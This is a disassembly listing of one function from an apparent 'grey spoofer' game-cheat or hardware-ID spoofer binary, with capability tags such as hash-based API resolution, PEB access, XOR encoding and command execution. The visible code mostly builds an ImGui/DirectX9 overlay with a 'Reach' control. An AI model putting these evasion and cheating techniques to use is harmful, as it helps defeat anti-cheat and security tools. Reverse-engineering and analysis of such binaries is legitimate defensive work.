Function at 0x14005a710
Capabilities:
Access peb ldr_data
Check if file exists
Create directory
Create process on windows
Create thread
Delete file
Encode data using xor
Execute command
Get file attributes
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x718]
sub rsp, 0x818
lea rcx, [0x140396500]
call fcn.1400dd150
mov ecx, 8
call fcn.1401310a4
lea rcx, [0x140058790]
xor r15d, r15d
mov r9, rax
lea r8, [0x140040d10]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14005f80a
mov qword [rsp + 0x810], r12
cmp dword [rbp + 0x48], r15d
je 0x14005f7fe
movaps xmm0, xmmword [rbp + 0x40]
lea rcx, [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005f7fe
xorps xmm0, xmm0
mov ecx, 8
movdqa xmmword [rbp + 0x40], xmm0
call fcn.1401310a4
lea rcx, [0x140040a80]
mov r9, rax
lea r8, [0x140040d10]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x14005f7ee
cmp dword [rbp + 0x48], r15d
je 0x14005f7e2
movaps xmm0, xmmword [rbp + 0x40]
lea rcx, [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005f7e2
mov qword [rsp + 0x830], rbx
lea rax, [0x14005f820]
mov qword [rsp + 0x838], rsi
xorps xmm0, xmm0
mov qword [rsp + 0x840], rdi
mov edx, 0x7f00
mov qword [rsp + 0x800], r14
xor ecx, ecx
movaps xmmword [rsp + 0x780], xmm13
movdqa xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x320], 0x50
mov dword [rbp + 0x324], 0x40
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x338], r15
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x340], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
lea r14, str.ImRaze_Design_fixed
mov qword [rbp + 0x350], r15
mov qword [rbp + 0x348], rax
mov edx, 0x7f00
lea rax, str.ImGui
mov qword [rbp + 0x360], r14
xor ecx, ecx
mov qword [rbp + 0x358], rax
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x320]
mov qword [rbp + 0x368], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si edi, dword [0x140394ce4]
mov r12d, 1
mov ecx, r12d
cvttss2si esi, dword [0x140394ce0]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140394ce4]
xor ecx, ecx
movss xmm13, dword [0x1401742dc]
cdq
sub eax, edx
mulss xmm0, xmm13
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si ebx, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140394ce0]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r15
cdq
mov qword [rsp + 0x50], r15
sub eax, edx
mov rdx, qword [rbp + 0x360]
mov r8, r14
mov qword [rsp + 0x48], r15
xor ecx, ecx
mov qword [rsp + 0x40], r15
sar eax, 1
mov dword [rsp + 0x38], edi
mulss xmm0, xmm13
mov dword [rsp + 0x30], esi
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov dword [rsp + 0x28], ebx
subss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x140395ea0], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov rcx, qword [0x140395ea0]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov r9d, 2
mov rcx, qword [0x140395ea0]
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140174460]
lea rdx, [rbp + 0x410]
mov rcx, qword [0x140395ea0]
movdqu xmmword [rbp + 0x410], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140395ea0]
lea rdx, [0x140395ec8]
xorps xmm0, xmm0
movups xmmword [0x140395ec8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rbx, qword [0x140395ea0]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140396838], rax
mov rcx, rax
test rax, rax
je 0x14005f791
lea rdx, [0x140396840]
mov qword [0x140396850], r15
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x140396850]
mov qword [0x14039685c], r15
mov qword [rsp + 0x28], rdx
mov r8d, r12d
mov dword [0x140396864], r15d
xor edx, edx
mov qword [0x14039686c], r15
mov dword [0x140396874], r15d
mov qword [0x140396884], r15
mov dword [0x140396878], r12d
mov dword [0x140396868], r12d
mov dword [0x140396858], r15d
mov dword [0x14039687c], r12d
mov dword [0x140396880], 0x50
mov dword [0x14039688c], r12d
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x14005f78a
mov rcx, qword [0x140395ea0]
mov edx, 0xa
mov qword [rsp + 0x808], r13
movaps xmmword [rsp + 0x7f0], xmm6
movaps xmmword [rsp + 0x7e0], xmm7
movaps xmmword [rsp + 0x7d0], xmm8
movaps xmmword [rsp + 0x7c0], xmm9
movaps xmmword [rsp + 0x7b0], xmm10
movaps xmmword [rsp + 0x7a0], xmm11
movaps xmmword [rsp + 0x790], xmm12
movaps xmmword [rsp + 0x770], xmm14
movaps xmmword [rsp + 0x760], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140395ea0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdx, qword [0x140395e30]
mov ecx, 0x61c8
mov rdi, qword [0x140395e40]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, qword [0x140395e40]
mov r9, rax
test r8, r8
je 0x14005abc7
movsx rax, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r10d, dword [r8 + 0x3f90]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x14005abbc
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], r15d
inc word [rdx + 4]
inc dword [r8 + 0x6070]
test r9, r9
je 0x14005abd8
xor edx, edx
mov rcx, r9
call fcn.1400032d0
jmp 0x14005abdb
mov rax, r15
mov qword [0x140395e40], rax
call fcn.140007d20
test rdi, rdi
je 0x14005abf5
mov qword [0x140395e40], rdi
jmp 0x14005abfc
mov rdi, qword [0x140395e40]
test rdi, rdi
jne 0x14005ac22
mov r8d, 0x10d9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x140395e40]
or dword [rdi + 8], 3
xor ecx, ecx
call fcn.140023010
mov rcx, qword [0x140395ea0]
call fcn.14003e550
mov rbx, qword [0x140395e40]
mov rsi, qword [0x140396840]
test rbx, rbx
jne 0x14005ac6d
mov r8d, 0x10d9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140395e40]
cmp qword [rbx + 0x98], r15
je 0x14005ac90
mov r8d, 0x11f
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdx, qword [0x140395e30]
mov ecx, Ordinal_41
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r9, qword [0x140395e40]
mov r8, rax
test r9, r9
je 0x14005ad10
movsx rdx, word [r9 + 0x6078]
lea rax, [r9 + 0x607c]
mov r10d, dword [r9 + 0x3f90]
lea rax, [rax + rdx*8]
cmp dword [rax], r10d
je 0x14005ad05
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r9 + 0x6078], cx
movsx rax, cx
lea rax, [rax*8 + 0x607c]
add rax, r9
mov dword [rax], r10d
mov dword [rax + 4], r15d
inc word [rax + 4]
inc dword [r9 + 0x6070]
test r8, r8
je 0x14005ad36
mov qword [r8], r15
mov qword [r8 + 8], r15
mov qword [r8 + 0x10], r15
mov qword [r8 + 0x18], r15
mov dword [r8 + 0x20], 0x1388
mov dword [r8 + 0x24], 0x2710
jmp 0x14005ad39
mov r8, r15
or dword [rbx + 0xc], 8
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0x88], rax
mov rcx, rsi
mov qword [rbx + 0x98], r8
mov qword [r8], rsi
mov rax, qword [rsi]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rdi + 0x38]
xorps xmm6, xmm6
movups xmmword [rbp + 0x3c0], xmm6
mov eax, 0xffff
mov dword [rbp + 0x3c0], 0x3f800000
movups xmmword [rbp + 0x380], xmm6
mov dword [rbp + 0x388], 2
movups xmmword [rbp + 0x3b0], xmm6
mov dword [rbp + 0x38c], r12d
movups xmmword [rbp + 0x370], xmm6
mov byte [rbp + 0x37c], r12b
mov dword [rbp + 0x3b4], 0x7f7fffff
mov dword [rbp + 0x3c4], 0x3f800000
mov word [rbp + 0x3c8], ax
mov dword [rbp + 0x3bc], 0x30c
cmp byte [rbx + 0x18], r15b
je 0x14005aded
mov r8d, 0xbc7
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmm8, xmmword [rbp + 0x370]
movaps xmm9, xmmword [rbp + 0x380]
movq r15, xmm8
movaps xmm10, xmmword [rbp + 0x3b0]
movaps xmm11, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x420], xmm8
movaps xmmword [rbp + 0x430], xmm9
movaps xmmword [rbp + 0x440], xmm6
movaps xmmword [rbp + 0x450], xmm6
movaps xmmword [rbp + 0x460], xmm10
movaps xmmword [rbp + 0x470], xmm11
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm6
movaps xmmword [rbp + 0x4a0], xmm6
test r15, r15
je 0x14005ae74
mov r8d, 0xbc9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rsi, [0x14025c250]
mov dword [rbp + 0x428], 0x133ec
lea r13, [0x14016cd50]
mov qword [rbp + 0x420], rsi
lea rdx, [rbp + 0x420]
mov qword [rbp + 0x458], r13
mov rcx, rbx
mov dword [rbp + 0x434], 0x41600000
call fcn.140028dc0
mov rbx, qword [rdi + 0x38]
cmp byte [rbx + 0x18], 0
je 0x14005aed7
mov r8d, 0xbc7
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x420], xmm8
movaps xmmword [rbp + 0x430], xmm9
movaps xmmword [rbp + 0x440], xmm6
movaps xmmword [rbp + 0x450], xmm6
movaps xmmword [rbp + 0x460], xmm10
movaps xmmword [rbp + 0x470], xmm11
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm6
movaps xmmword [rbp + 0x4a0], xmm6
test r15, r15
je 0x14005af39
mov r8d, 0xbc9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rax, [0x14031b5e0]
mov dword [rbp + 0x428], 0x1329c
lea rdx, [rbp + 0x420]
mov qword [rbp + 0x420], rax
mov rcx, rbx
mov dword [rbp + 0x434], 0x41600000
mov qword [rbp + 0x458], r13
call fcn.140028dc0
mov rbx, qword [rdi + 0x38]
mov qword [0x1403968b0], rax
cmp byte [rbx + 0x18], 0
je 0x14005af9c
mov r8d, 0xbc7
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x420], xmm8
movaps xmmword [rbp + 0x430], xmm9
movaps xmmword [rbp + 0x440], xmm6
movaps xmmword [rbp + 0x450], xmm6
movaps xmmword [rbp + 0x460], xmm10
movaps xmmword [rbp + 0x470], xmm11
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm6
movaps xmmword [rbp + 0x4a0], xmm6
test r15, r15
je 0x14005affe
mov r8d, 0xbc9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
lea rdx, [rbp + 0x420]
mov qword [rbp + 0x420], rsi
mov rcx, rbx
mov dword [rbp + 0x428], 0x133ec
mov dword [rbp + 0x434], 0x41500000
mov qword [rbp + 0x458], r13
call fcn.140028dc0
mov qword [0x140396898], rax
lea rsi, [0x140396c00]
mov ebx, reloc.WS2_32.dll_ntohl
lea r12, [0x140394380]
xorps xmm12, xmm12
nop dword [rax]
mov r14, qword [rdi + 0x38]
movd xmm7, ebx
cvtdq2ps xmm7, xmm7
cmp byte [r14 + 0x18], 0
je 0x14005b07c
mov r8d, 0xbc7
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str._Locked___Cannot_modify_a_locked_ImFontAtlas_between_NewFrame___and_EndFrame_Render____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movaps xmmword [rbp + 0x420], xmm8
movaps xmmword [rbp + 0x430], xmm9
movaps xmmword [rbp + 0x440], xmm6
movaps xmmword [rbp + 0x450], xmm6
movaps xmmword [rbp + 0x460], xmm10
movaps xmmword [rbp + 0x470], xmm11
movaps xmmword [rbp + 0x480], xmm6
movaps xmmword [rbp + 0x490], xmm6
movaps xmmword [rbp + 0x4a0], xmm6
test r15, r15
je 0x14005b0de
mov r8d, 0xbc9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui_draw.cpp
lea rcx, str.font_cfg.FontData__0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
comiss xmm7, xmm12
mov qword [rbp + 0x420], r12
mov dword [rbp + 0x428], 0x8d0
jbe 0x14005b0fd
movss dword [rbp + 0x434], xmm7
lea rdx, [rbp + 0x420]
mov qword [rbp + 0x458], r13
mov rcx, r14
call fcn.140028dc0
mov qword [rsi], rax
inc ebx
add rsi, 8
cmp ebx, 0x28
jle 0x14005b050
cmp qword [0x140395eb8], 0
mov r12d, 1
jne 0x14005b1a0
mov rcx, qword [0x140396840]
lea rax, [0x140395eb8]
mov qword [rsp + 0x70], rax
lea rdx, [0x1402d7490]
xor esi, esi
mov r9d, 0x780
mov qword [rsp + 0x68], rsi
mov r8d, 0x3b9bc
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x438
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
jmp 0x14005b1a2
xor esi, esi
cmp qword [0x140395ec0], 0
jne 0x14005b213
mov rcx, qword [0x140396840]
lea rax, [0x140395ec0]
mov qword [rsp + 0x70], rax
lea rdx, [0x1403940c0]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x294
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x140395ea8], 0
jne 0x14005b284
mov rcx, qword [0x140396840]
lea rax, [0x140395ea8]
mov qword [rsp + 0x70], rax
lea rdx, [0x14021a100]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x4f83
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x140395eb0], 0
jne 0x14005b2f5
mov rcx, qword [0x140396840]
lea rax, [0x140395eb0]
mov qword [rsp + 0x70], rax
lea rdx, [0x14021f090]
mov qword [rsp + 0x68], rsi
mov r9d, Ordinal_46
mov qword [rsp + 0x60], rsi
mov r8d, 0x410e
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_46
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
movss xmm11, dword [0x14017442c]
xor r15b, r15b
movss xmm15, dword [0x14017434c]
mov r13, 0xffffffffffffffff
movss xmm8, dword [0x14017430c]
movss xmm10, dword [0x140174354]
movss xmm14, dword [0x14017438c]
movss xmm7, dword [0x140174314]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x630]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14005b3a2
lea rcx, [rbp + 0x630]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x630]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x638], 0x12
lea rcx, [rbp + 0x630]
movzx r15d, r15b
cmove r15d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14005b352
test r15b, r15b
jne 0x14005e415
mov ecx, dword [0x1403960d8]
test ecx, ecx
je 0x14005b432
mov eax, dword [0x1403964f8]
test eax, eax
je 0x14005b432
mov dword [0x140396850], ecx
mov dword [0x140396854], eax
mov dword [0x1403964f8], esi
mov dword [0x1403960d8], esi
call fcn.14003e4a0
mov rcx, qword [0x140396840]
lea rdx, [0x140396850]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005b40f
mov r8d, 0x800
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedexamplesexample_win32_directx9main.cpp
lea rcx, [0x140161cd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140395e40]
test rax, rax
je 0x14005b44c
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b439
cmp qword [rcx], 0
je 0x14005b439
call fcn.14003e230
mov rax, qword [0x140395e40]
test rax, rax
je 0x14005b44c
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14005b470
jmp 0x14005b44f
mov rbx, rsi
mov r8d, 0x17c
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixed_backendsimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX9_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140395e40]
cmp qword [rbx + 0x18], 0
jne 0x14005b493
test rax, rax
je 0x14005b493
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b493
cmp qword [rcx], 0
je 0x14005b493
call fcn.14003e230
call fcn.14003f360
call fcn.14000aab0
mov r14, qword [0x140395e40]
movss xmm0, dword [0x140394ce0]
movss xmm1, dword [0x140394ce4]
mov qword [r14 + 0x49f8], 0
mov qword [r14 + 0x4a00], 0
mov dword [r14 + 0x49ec], r12d
or dword [r14 + 0x49e8], 3
movss dword [r14 + 0x4a08], xmm0
movss dword [r14 + 0x4a0c], xmm1
mov dword [r14 + 0x49f0], r12d
test r14, r14
jne 0x14005b518
mov r8d, 0xbf0
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov r14, qword [0x140395e40]
xor edx, edx
mov qword [r14 + 0x38f8], 0
mov r8d, Ordinal_46
mov qword [r14 + 0x393c], 0
lea rcx, str.IMGUI
mov dword [r14 + 0x3904], esi
mov dword [r14 + 0x3964], 0x40e00000
call fcn.140010870
mov rbx, qword [0x140395e40]
cmp dword [rbx + 0x4af8], 0
mov rax, qword [rbx + 0x4038]
movsd xmm0, qword [rax + 0x28]
movsd qword [rbp + 0x30], xmm0
jg 0x14005b58f
mov r8d, 0x76a
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.14000a0b0
movdqa xmm9, xmmword [0x1401746e0]
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm9
mov rbx, rax
call fcn.140005ce0
movsd xmm0, qword [0x140394ce0]
mov edi, eax
movsd qword [rbp - 0x58], xmm0
mov dword [rbp + 0x200], 0x3f800000
mov dword [rbp + 0x204], 0x3f800000
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x218], 0
test eax, 0xff000000
je 0x14005b6c2
mov rdx, qword [0x140395eb8]
cmp rdx, qword [rbx + 0x98]
setne sil
je 0x14005b621
mov rcx, rbx
call fcn.140023b60
mov edx, 6
mov r8d, 4
mov rcx, rbx
call fcn.140023be0
lea rax, [rbp + 0x200]
mov dword [rsp + 0x28], edi
lea r9, [rbp + 0x210]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x58]
mov rcx, rbx
lea rdx, [rbp + 0x218]
call fcn.140023d20
test sil, sil
je 0x14005b6c0
cmp dword [rbx + 0x68], 0
jg 0x14005b683
mov r8d, 0x780
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
xor esi, esi
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x14005b6a6
mov eax, esi
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.1400238f0
jmp 0x14005b6c2
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.1400238f0
jmp 0x14005b6c2
xor esi, esi
mov eax, dword [0x1403968c8]
cmp dword [0x140395e54], eax
jne 0x14005b6d5
movaps xmm6, xmm7
jmp 0x14005b6d9
movaps xmm6, xmm11
cmp qword [0x140395e40], 0
jne 0x14005b6fd
mov r8d, 0x10d9
lea rdx, str.C:UserspcDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140395e40]
movss xmm0, dword [rax + 0x18]
mulss xmm0, xmm15
mulss xmm0, xmm6
addss xmm0, dword [0x1403968d0]
comiss xmm12, xmm0
jbe 0x14005b726
movaps xmm1, xmm12
jmp 0x14005b72d
movaps xmm1, xmm7
minss xmm1, xmm0
ucomiss xmm1, xmm12
movss dword [0x1403968d0], xmm1
jp 0x14005b79c
jne 0x14005b79c
movss xmm0, dword [0x140396a44]
ucomiss xmm0, xmm12
jp 0x14005b79c
jne 0x14005b79c
movss xmm0, dword [0x140395e58]
movss xmm6, dword [0x1401743f8]
addss xmm0, xmm7
movss xmm3, dword [0x1401743b8]
movaps xmm2, xmm6
movss dword [0x140395e58], xmm0
call fcn.1400570f0
movss xmm0, dword [0x140395e58]
comiss xmm0, xmm6
jbe 0x14005b79c
mov eax, dword [0x140395e54]
mov dword [0x1403968c8], eax
mov dword [0x140395e58], 0
mov rbx, qword [0x140395e40]
lea rdx, [rbp + 0x40]
movss xmm6, dword [0x1403968d0]
mulss xmm6, dword [r14 + 0x38f0]
mov dword [rbp + 0x40], esi
movss xmm0, dword [rbx + 0x38f0]
lea rcx, [rbx + 0x4a70]
movss dword [rbp + 0x44], xmm0
call fcn.140020fc0
mov ecx, dword [0x1403968c8]
movss dword [rbx + 0x38f0], xmm6
test ecx, ecx
jne 0x14005c080
movss xmm0, dword [0x140394ce0]
lea r8, [rbp + 0x220]
mulss xmm0, xmm13
lea rdx, [rbp + 0x228]
xor r9d, r9d
mov dword [rbp + 0x220], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x224], 0x41200000
movss dword [rbp + 0x228], xmm0
movss xmm0, dword [0x140394ce4]
movss dword [rbp + 0x22c], xmm0
call fcn.14002da50
mov rcx, qword [0x140395e40]
mov rax, qword [rcx + 0x4038]
cmp qword [rax + 0x1b8], 0
jne 0x14005b869
cmp qword [rcx + 0x4dd8], 0
lea rcx, [rax + 0x260]
je 0x14005b870
lea rcx, [rax + 0x230]
movss xmm1, dword [rcx]
subss xmm1, dword [rax + 0x28]
movss xmm2, dword [0x1401743a4]
cmp dword [0x1403968a8], r12d
movaps xmm0, xmm2
mov rcx, qword [0x140395ec0]
unpcklps xmm0, xmm2
sete dl
subss xmm1, dword [r14 + 0x38f8]
movsd qword [rsp + 0x30], xmm0
movss xmm0, dword [0x1401743c8]
unpcklps xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
call fcn.14002e260
test al, al
je 0x14005b8c8
mov dword [0x1403968a8], r12d
call fcn.14002df40
mov r8, qword [0x140395e40]
lea rcx, [rbp + 0x2d8]
mov rax, qword [r8 + 0x4038]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x140396934]
movss xmm0, dword [0x140396930]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x2dc], xmm1
movss xmm1, dword [0x14039693c]
mulss xmm1, dword [r8 + 0x38f0]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x2d8], xmm0
movss xmm0, dword [0x140396938]
movss dword [rbp + 0x2e4], xmm1
movss dword [rbp + 0x2e0], xmm0
call fcn.140005ce0
movss xmm9, dword [0x140174420]
lea rdx, [rbp + 0x230]
movss xmm2, dword [r8 + 0x3d60]
mov esi, eax
mov rcx, qword [r8 + 0x3d58]
lea rax, str.Reach
xor r14d, r14d
movaps xmm3, xmm9
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm11
call fcn.14002c5c0
movss xmm0, dword [rbp + 0x230]
movss xmm6, dword [rbp + 0x30]
addss xmm0, xmm8
movss xmm7, dword [rbp + 0x34]
cvttss2si eax, xmm0
movss xmm0, dword [0x140394ce0]
movaps xmm2, xmm0
mulss xmm2, xmm13
movd xmm1, eax
cvtdq2ps xmm1, xmm1
